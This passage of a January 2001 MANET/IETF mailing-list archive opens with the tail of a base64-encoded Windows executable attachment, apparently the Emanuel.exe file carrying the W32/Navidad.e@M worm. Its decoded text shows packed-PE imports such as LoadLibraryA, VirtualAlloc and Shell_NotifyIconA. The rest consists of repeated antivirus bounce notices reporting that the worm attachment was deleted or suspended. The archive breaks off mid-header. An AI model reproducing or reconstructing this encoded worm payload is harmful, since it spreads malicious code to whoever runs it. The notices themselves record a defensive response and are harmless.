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 WA17Gf0MbBiPDIIXkwyBFgAMQxUaC4AU ------=_NextPart_000_0291_01C075A8.32D2DF90-- From owner-manet@itd.nrl.navy.mil Wed Jan 3 05:53:47 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA16693 for ; Wed, 3 Jan 2001 05:53:46 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id EAA15489 for manet-outgoing; Wed, 3 Jan 2001 04:52:05 -0500 (EST) Received: from mailhost.somfy.com (mailhost.somfy.com [212.234.241.123]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id EAA15471 for ; Wed, 3 Jan 2001 04:51:54 -0500 (EST) Received: from mailmta.cluses.somfy.fr (mailmta.cluses.somfy.fr [172.16.0.5]) by mailhost.somfy.com (Postfix) with SMTP id C19AF4EC22; Wed, 3 Jan 2001 10:51:35 +0100 (CET) Received: by mailmta.cluses.somfy.fr(Lotus SMTP MTA v4.6.6 (890.1 7-16-1999)) id C12569C9.0035B2CF ; Wed, 3 Jan 2001 10:46:31 +0100 X-Lotus-FromDomain: SINET From: "MAILMTA01" To: "Antigen Notification List" Message-ID: Date: Wed, 3 Jan 2001 10:46:30 +0100 Subject: ALERT: Antigen has suspended a message from "Wu Jun" in SCAN.BOX Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Error NWall.Sfadll(508.23.259): Failed to update cured file attachment. The message is currently suspended in SCAN.BOX on CN=MAILMTA01/O=SINET. From owner-manet@itd.nrl.navy.mil Wed Jan 3 05:53:47 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA16697 for ; Wed, 3 Jan 2001 05:53:47 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id EAA15665 for manet-outgoing; Wed, 3 Jan 2001 04:54:49 -0500 (EST) Received: from fir.sycamorenet.com (fir.sycamorenet.com [63.65.20.2]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id EAA15652 for ; Wed, 3 Jan 2001 04:54:47 -0500 (EST) Received: by fir.sycamorenet.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 04:51:22 -0500 Message-ID: <2FF28915C669D211BFDF00A0C9E1CC7E01A442E4@fir.sycamorenet.com> From: ANTIGEN_FIR To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antigen found Navidad.16896.Worm virus Date: Wed, 3 Jan 2001 04:51:22 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antigen for Exchange found Emanuel.exe infected with Navidad.16896.Worm virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at Sycamore Networks/SYCAMORE/FIR. From owner-manet@itd.nrl.navy.mil Wed Jan 3 05:53:53 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA16715 for ; Wed, 3 Jan 2001 05:53:53 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id EAA15532 for manet-outgoing; Wed, 3 Jan 2001 04:53:08 -0500 (EST) Received: from fir.sycamorenet.com (fir.sycamorenet.com [63.65.20.2]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id EAA15527 for ; Wed, 3 Jan 2001 04:53:06 -0500 (EST) Received: by fir.sycamorenet.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 04:49:40 -0500 Message-ID: <2FF28915C669D211BFDF00A0C9E1CC7E01A442E1@fir.sycamorenet.com> From: ANTIGEN_FIR To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antigen found Navidad.16896.Worm virus Date: Wed, 3 Jan 2001 04:49:40 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antigen for Exchange found Emanuel.exe infected with Navidad.16896.Worm virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at Sycamore Networks/SYCAMORE/FIR. From owner-manet@itd.nrl.navy.mil Wed Jan 3 05:55:14 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA16746 for ; Wed, 3 Jan 2001 05:55:13 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id EAA15246 for manet-outgoing; Wed, 3 Jan 2001 04:45:47 -0500 (EST) Received: from external.zumanetworks.com (external.zumanetworks.com [64.161.185.13]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id EAA15235 for ; Wed, 3 Jan 2001 04:45:45 -0500 (EST) Received: from msmail.win.zumanetworks.com by external.zumanetworks.com via smtpd (for s2.itd.nrl.navy.mil [132.250.83.3]) with SMTP; 3 Jan 2001 09:45:47 UT Received: from mail pickup service by msmail.win.zumanetworks.com with Microsoft SMTPSVC; Wed, 3 Jan 2001 01:45:47 -0800 From: Antigen@itd.nrl.navy.mil To: pretty@mmlab.snu.ac.kr, tccc@ieee.org, qiao@computer.org, ietf@ietf.org, manet@itd.nrl.navy.mil Subject: Antigen found W32/Navidad.e@M (McAfee4) virus Message-ID: X-OriginalArrivalTime: 03 Jan 2001 09:45:47.0191 (UTC) FILETIME=[F2CCFC70:01C07569] Date: 3 Jan 2001 01:45:47 -0800 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antigen for Exchange found Emanuel.exe infected with W32/Navidad.e@M (McAfee4) virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in SMTP Messages\Inbound located at Unknown/Unknown/MSMAIL. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:01:13 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA16860 for ; Wed, 3 Jan 2001 06:01:13 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id EAA15875 for manet-outgoing; Wed, 3 Jan 2001 04:57:48 -0500 (EST) Received: from viper2.alleghenypower.com (viper2.alleghenypower.com [198.77.48.2]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id EAA15870 for ; Wed, 3 Jan 2001 04:57:46 -0500 (EST) Received: from viper2.alleghenypower.com (root@localhost) by viper2.alleghenypower.com with ESMTP id EAA25897 for ; Wed, 3 Jan 2001 04:57:42 -0500 (EST) Message-Id: <200101030957.EAA25874@viper2.alleghenypower.com> From: ANTIGEN_SMPXCH0C To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antigen found =emanuel.exe file Date: Wed, 3 Jan 2001 04:57:40 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antigen for Exchange found Emanuel.exe matching =emanuel.exe file filter. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at Allegheny Power/EXCHANGE1/SMPXCH0C. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:01:31 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA16883 for ; Wed, 3 Jan 2001 06:01:31 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id EAA15141 for manet-outgoing; Wed, 3 Jan 2001 04:41:32 -0500 (EST) Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id EAA15130 for ; Wed, 3 Jan 2001 04:41:30 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id EAA18837; Wed, 3 Jan 2001 04:41:30 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id EAA18172; Wed, 3 Jan 2001 04:41:31 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 04:41:29 -0500 Message-ID: <1FAC8547DACBD411A99600204840339533FD16@whq-msgrtr-01.pit.comms.marconi.com> From: Anti-Virus Utility To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antivirus Utility found the W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 04:41:28 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antivirus Utility for Exchange found Emanuel.exe infected with the W32/Navidad.e@M virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at EMAIL/NA1/WHQ-MSGRTR-01. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:02:54 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA16906 for ; Wed, 3 Jan 2001 06:02:54 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id EAA15869 for manet-outgoing; Wed, 3 Jan 2001 04:57:45 -0500 (EST) Received: from viper3.alleghenypower.com (viper3.alleghenypower.com [63.68.200.6]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id EAA15863 for ; Wed, 3 Jan 2001 04:57:43 -0500 (EST) Received: from viper3.alleghenypower.com (root@localhost) by viper3.alleghenypower.com with ESMTP id EAA24776 for ; Wed, 3 Jan 2001 04:57:40 -0500 (EST) Message-Id: <200101030957.EAA24762@viper3.alleghenypower.com> From: ANTIGEN_SAPXCH0C To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antigen found =emanuel.exe file Date: Wed, 3 Jan 2001 04:58:22 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antigen for Exchange found Emanuel.exe matching =emanuel.exe file filter. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at Allegheny Power/EXCHANGE1/SAPXCH0C. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:04:07 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA16934 for ; Wed, 3 Jan 2001 06:04:06 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id EAA15597 for manet-outgoing; Wed, 3 Jan 2001 04:53:36 -0500 (EST) Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id EAA15587 for ; Wed, 3 Jan 2001 04:53:34 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id EAA19148; Wed, 3 Jan 2001 04:53:34 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id EAA22776; Wed, 3 Jan 2001 04:53:35 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 04:53:32 -0500 Message-ID: <1FAC8547DACBD411A99600204840339533FD22@whq-msgrtr-01.pit.comms.marconi.com> From: Anti-Virus Utility To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antivirus Utility found the W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 04:53:30 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antivirus Utility for Exchange found Emanuel.exe infected with the W32/Navidad.e@M virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at EMAIL/NA1/WHQ-MSGRTR-01. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:05:12 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA16980 for ; Wed, 3 Jan 2001 06:05:11 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA16296 for manet-outgoing; Wed, 3 Jan 2001 05:02:04 -0500 (EST) Received: from UMKC-MAIL01.umkc.edu (email.exchange.umkc.edu [134.193.71.1]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA16286 for ; Wed, 3 Jan 2001 05:02:02 -0500 (EST) Received: by email.exchange.umkc.edu with Internet Mail Service (5.5.2653.19) id ; Wed, 3 Jan 2001 04:01:56 -0600 Message-ID: <70805CBA8CD4D211A8090060945155F30339F262@email.exchange.umkc.edu> From: ANTIGEN_UMKC-MAIL01 To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antigen found the W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 04:01:54 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk You have recently received a virus infected message. Please read this whole message for details. In a message with the subject of: "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001" Sent from: Wu Jun At the email address of: jwu@ee.cuhk.edu.hk Antigen for Exchange found the file: Emanuel.exe Infected with the virus: W32/Navidad.e@M . The file is: Deleted. The message was sent to: ,pretty@mmlab.snu.ac.kr;tccc@ieee.org;qiao@computer.org;ietf@ietf.org;manet@itd. nrl.navy.mil The message was discovered in the folder: IMC Queues\Inbound located at University of Missouri/Kansas City/UMKC-MAIL01. If the person that sent you a message with the subject line of: Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001 was from UMKC, your copy of this message has probably been cleaned. You may want to have the sender resend the message after they have disinfected their machine just to be safe. If the person that sent you a message with the subject line of: Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001 was NOT from UMKC, you have an infected copy of the message and you should delete it without opening it. Then contact that person about getting you a new copy after they have cleaned their machine. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:12:04 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17109 for ; Wed, 3 Jan 2001 06:12:03 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id EAA15598 for manet-outgoing; Wed, 3 Jan 2001 04:53:36 -0500 (EST) Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id EAA15588 for ; Wed, 3 Jan 2001 04:53:34 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id EAA19149; Wed, 3 Jan 2001 04:53:35 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id EAA22740; Wed, 3 Jan 2001 04:53:35 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 04:53:26 -0500 Message-ID: <1FAC8547DACBD411A99600204840339533FD1F@whq-msgrtr-01.pit.comms.marconi.com> From: Anti-Virus Utility To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antivirus Utility found the W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 04:53:25 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antivirus Utility for Exchange found Emanuel.exe infected with the W32/Navidad.e@M virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at EMAIL/NA1/WHQ-MSGRTR-01. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:12:22 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17121 for ; Wed, 3 Jan 2001 06:12:22 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA16947 for manet-outgoing; Wed, 3 Jan 2001 05:09:25 -0500 (EST) Received: from mailhost.somfy.com (mailhost.somfy.com [212.234.241.123]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA16937 for ; Wed, 3 Jan 2001 05:09:23 -0500 (EST) Received: from mailmta.cluses.somfy.fr (mailmta.cluses.somfy.fr [172.16.0.5]) by mailhost.somfy.com (Postfix) with SMTP id 69C7D4EC21; Wed, 3 Jan 2001 11:09:20 +0100 (CET) Received: by mailmta.cluses.somfy.fr(Lotus SMTP MTA v4.6.6 (890.1 7-16-1999)) id C12569C9.003754FC ; Wed, 3 Jan 2001 11:04:22 +0100 X-Lotus-FromDomain: SINET From: "MAILMTA01" To: "Antigen Notification List" Message-ID: Date: Wed, 3 Jan 2001 11:04:21 +0100 Subject: ALERT: Antigen has suspended a message from "Wu Jun" in SCAN.BOX Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Error NWall.Sfadll(508.23.259): Failed to update cured file attachment. The message is currently suspended in SCAN.BOX on CN=MAILMTA01/O=SINET. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:12:25 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17136 for ; Wed, 3 Jan 2001 06:12:25 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA17111 for manet-outgoing; Wed, 3 Jan 2001 05:10:06 -0500 (EST) Received: from stpeter.astanetworks.com ([209.43.202.2]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA17096 for ; Wed, 3 Jan 2001 05:10:04 -0500 (EST) Received: from navajo.astanetworks.com (navajo.astanetworks.com [192.168.10.8]) by stpeter.astanetworks.com (Postfix) with ESMTP id E79687F83; Wed, 3 Jan 2001 03:06:34 -0600 (CST) Received: by navajo.astanetworks.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 02:10:03 -0800 Message-ID: <15E6537E180CC545848148F30F6688D817104E@navajo.astanetworks.com> From: ANTIGEN_NAVAJO To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antigen found W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 02:10:03 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antigen for Exchange found Emanuel.exe infected with W32/Navidad.e@M virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at ASTANETWORKS/SEATTLE/NAVAJO. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:12:47 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17165 for ; Wed, 3 Jan 2001 06:12:47 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA16777 for manet-outgoing; Wed, 3 Jan 2001 05:08:16 -0500 (EST) Received: from stpeter.astanetworks.com ([209.43.202.2]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA16772 for ; Wed, 3 Jan 2001 05:08:15 -0500 (EST) Received: from navajo.astanetworks.com (navajo.astanetworks.com [192.168.10.8]) by stpeter.astanetworks.com (Postfix) with ESMTP id 917A77F83; Wed, 3 Jan 2001 03:04:42 -0600 (CST) Received: by navajo.astanetworks.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 02:08:07 -0800 Message-ID: <15E6537E180CC545848148F30F6688D817104A@navajo.astanetworks.com> From: ANTIGEN_NAVAJO To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antigen found W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 02:08:07 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antigen for Exchange found Emanuel.exe infected with W32/Navidad.e@M virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at ASTANETWORKS/SEATTLE/NAVAJO. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:13:07 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17187 for ; Wed, 3 Jan 2001 06:13:04 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA16335 for manet-outgoing; Wed, 3 Jan 2001 05:02:19 -0500 (EST) Received: from UMKC-MAIL01.umkc.edu (email.exchange.umkc.edu [134.193.71.1]) by 